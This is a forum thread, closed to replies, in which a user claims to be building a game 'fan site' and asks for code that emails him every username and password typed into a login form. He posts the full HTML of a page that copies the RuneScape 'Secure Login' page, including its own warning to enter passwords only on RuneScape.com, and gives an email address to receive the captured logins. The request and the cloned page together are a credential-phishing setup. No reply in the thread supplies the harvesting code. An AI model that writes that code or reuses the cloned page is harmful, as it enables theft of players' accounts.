Emaling pass/user input

Status
Not open for further replies.
Hello all.

I have friend who wanted to help make his son a fan site for an online game. Well, he got the design and stuff, and it is pretty much based on the real thing.

Now, what he wanted to add to the page was a feature where, whatever the user inputs into the user name and password field, is e-mailed to him in some form or another. We made an email account just for that purpose, and was wondering if somebody can help by providing the code to add to the page or what not.

Thank you in advance!

--Foyaeman

P.S: Here is the source code of the page.
Code:
<html xmlns:ie=""><head>


<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta name="MSSmartTagsPreventParsing" content="TRUE"><title>RuneScape - the massive online adventure game by Jagex Ltd</title>

<style type="text/css">
      
      
      body { background: black; color: white; font-family:Arial,Helvetica,sans-serif; font-size: 13px;
        background-image:url('http://www.runescape.com/lang/en/aff/runescape/img/bg2.jpg'); background-position:top center; background-repeat:repeat-y; text-align: center; margin: 0; }
      div#body {width: 765px; margin: 10px auto 10px auto; text-align: left; position: relative;}
      
      div,td { font-family:Arial,Helvetica,sans-serif; font-size: 13px; }
      a:hover { text-decoration: underline; }
      img { border: 0; }
      img a:hover {text-decoration:none;}
      .titleframe { width: 500px; margin-left: auto; margin-right: auto; padding: 4px; text-align: center; }
      .frame { width: 753px; margin-left: auto; margin-right: auto; padding: 4px; }
      .tandc { clear: both; font-size:11px; text-align:center; }
      .scroll { color: black; }
      .heading { text-align:center;margin: 6px; }
      .heading span {width: 125px; margin: 0 auto; display: block; background-image:url(http://www.runescape.com/lang/en/aff/runescape/img/smbrownback.jpg); border: 3px solid #3E3B23; border-top: 3px solid #7C774A; border-left: 3px solid #7C774A; background-color: #4D422E; padding: 3px 10px 3px 10px; }
      
        a { color: #90c040; text-decoration: none; }
        .scroll a { color: #7B4F17; font-weight: bold; }
        .e {border:2px solid #382418; background-color: black; }
        
          .wide_e { border: 2px solid #382418; background-color: black; }
        
      
div.horizontalscroll { width: 765px; height: 159px; overflow: hidden; margin: 5px 0; background-color: #C2AB79; background-image: url("http://www.runescape.com/lang/en/aff/runescape/img/scroll/horizontal_scroll.gif"); position: relative;}
div.horizontalscroll-content { margin: 15px 40px; color: #000000; position: relative;}
div.widescroll { width: 735px; background-color: #C2AB79; margin: 0 10px 0 15px; position: relative;}
div.widescroll-bgimg { width: 745px; position: relative; margin: 0 -5px; background-image: url("http://www.runescape.com/lang/en/aff/runescape/img/scroll/backdrop_745.gif"); background-repeat: repeat-y;}
div.widescroll-content { padding: 25px 10px; color: #000000; position: relative; margin: 0 5px;}
img.widescroll-top { position: relative; top: 25px; padding:0; margin: 0; z-index: 100; display: block;}
img.widescroll-bottom { position: relative; padding:0; margin: 0; top: -25px; display: block;}
div.widescroll-content a, div.horizontalscroll-content a, div.narrowscroll-content a {color: #7B4F17; font-weight: bold; }
div.narrowscroll-bgimg { width: 457px; position: relative; margin: 0 -5px; background-image: url("http://www.runescape.com/lang/en/aff/runescape/img/scroll/scroll457t.gif"); background-repeat: repeat-y;}
div.narrowscroll-bg { width: 447px; background-color: #C2AB79; margin-left: 10px; }
div.narrowscroll-content { padding: 25px 10px; color: #000000; position: relative; margin: 0 5px;}
div.narrowscroll-content td { color: black; }
img.narrowscroll-top { position: relative; top: 25px; padding:0; margin: 0; z-index: 100; display: block;}
img.narrowscroll-bottom { position: relative; padding:0; margin: 0; top: -25px; display: block;}
    </style>

<style>
  .b {border-style: outset; border-width:3pt; border-color:#6A5A42}
  .b2 {border-style: outset; border-width:3pt; border-color:#570700}
  .white {text-decoration:none; color:#FFFFFF;}
  a.white:hover {text-decoration:underline}
  .red {text-decoration:none; color:#E10505;}
  a.red:hover {text-decoration:underline}
  .lblue {text-decoration:none; color:#9DB8C3;}
  a.lblue:hover {text-decoration:underline}
  .dblue {text-decoration:none; color:#0D6083;}
  a.dblue:hover {text-decoration:underline}
  .yellow {text-decoration:none; color:#FFE139;}
  a.yellow:hover {text-decoration:underline}
  .green {text-decoration:none; color:#04A800;}
  a.green:hover {text-decoration:underline}
  .purple {text-decoration:none; color:#C503FD;}
  a.purple:hover {text-decoration:underline}
  .pink {text-decoration:none; color:#FAA8AA;}
  a.pink:hover {text-decoration:underline}
  a.grey {text-decoration:none; color:#C0C0C0;}
  .grey {text-decoration:none; color:#C0C0C0;}
  a.grey.hover {text-decoration:underline;}
</style></head><body>

<div id="body">
<div style="background: transparent none repeat scroll 0%; text-align: center; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;">
<div class="titleframe e">

<b>Secure Login</b><br>
<a href="http://www.runescape.com/lang/en/aff/runescape/title.ws">Main Menu</a>
</div>
</div>
<br>
<div class="frame wide_e">
<table width="100%">
<tbody><tr>
<td colspan="3" align="center">
<div style="color: rgb(255, 187, 34);">
<b>You need to log in to access this feature</b>
</div>
<br>
<div style="text-align: center;">

Never enter your password anywhere except <b>RuneScape.com</b><br>
<img src="http://www.runescape.com/lang/en/aff/runescape/img/weblogin/onlyrs4.gif">
</div>
<form action="https://forum.runescape.com/lang/en/aff/runescape/login.ws" method="post" autocomplete="off">
<table>
<tbody><tr>
<td>RuneScape username:</td>
<td><input size="20" name="username" maxlength="12" type="text"></td>
</tr>
<tr>
<td>RuneScape password:</td>
<td><input size="20" name="password" maxlength="20" type="password"></td>
</tr>

<tr>
<td></td>
<td align="center"><input value="Secure Login" style="background: rgb(77, 66, 46) url(http://www.runescape.com/lang/en/aff/runescape/img/brownback.jpg) repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: white;" class="b" type="submit"></td>
</tr>
</tbody></table>
<input name="dest" value="index.html" type="hidden">
</form>
</td>
</tr>
<tr>
<td align="right">
<table bgcolor="black" cellpadding="4" width="220">
<tbody><tr>
<td class="b" align="center" background="http://www.runescape.com/lang/en/aff/runescape/img/brownback.jpg" bgcolor="#4d422e">
<b>Need an account?</b><br>
To create an account to access our game and secure services,

<a href="https://create.runescape.com/lang/en/aff/runescape/index.html" class="c">Click Here</a>
</td>
</tr>
</tbody></table>
</td>
<td width="20">&nbsp;</td>
<td align="left">
<table bgcolor="black" cellpadding="4" width="220">
<tbody><tr>
<td class="b" align="center" background="http://www.runescape.com/lang/en/aff/runescape/img/brownback.jpg" bgcolor="#4d422e">
<b>Lost password?</b><br>
If you have lost/forgotten your password or need to recover your account,
<a href="https://password.runescape.com/lang/en/aff/runescape/passsupport.html" class="c">Click Here</a>
</td>

</tr>
</tbody></table>
</td>
</tr>
</tbody></table>
</div>
<br>
<div class="tandc">This webpage and its contents are copyright 1999 - 2006 Jagex Ltd.<br>
Use of this website is subject to our <a href="http://www.runescape.com/lang/en/aff/runescape/terms/terms.ws" class="c">Terms+Conditions</a>
and <a href="http://www.runescape.com/lang/en/aff/runescape/privacy/privacy.ws" class="c">Privacy policy</a>
</div>
</div>

</body></html>

the e-mail address for the account is abdullahbakry@gmail.com

Thanks!
 
Status
Not open for further replies.
Back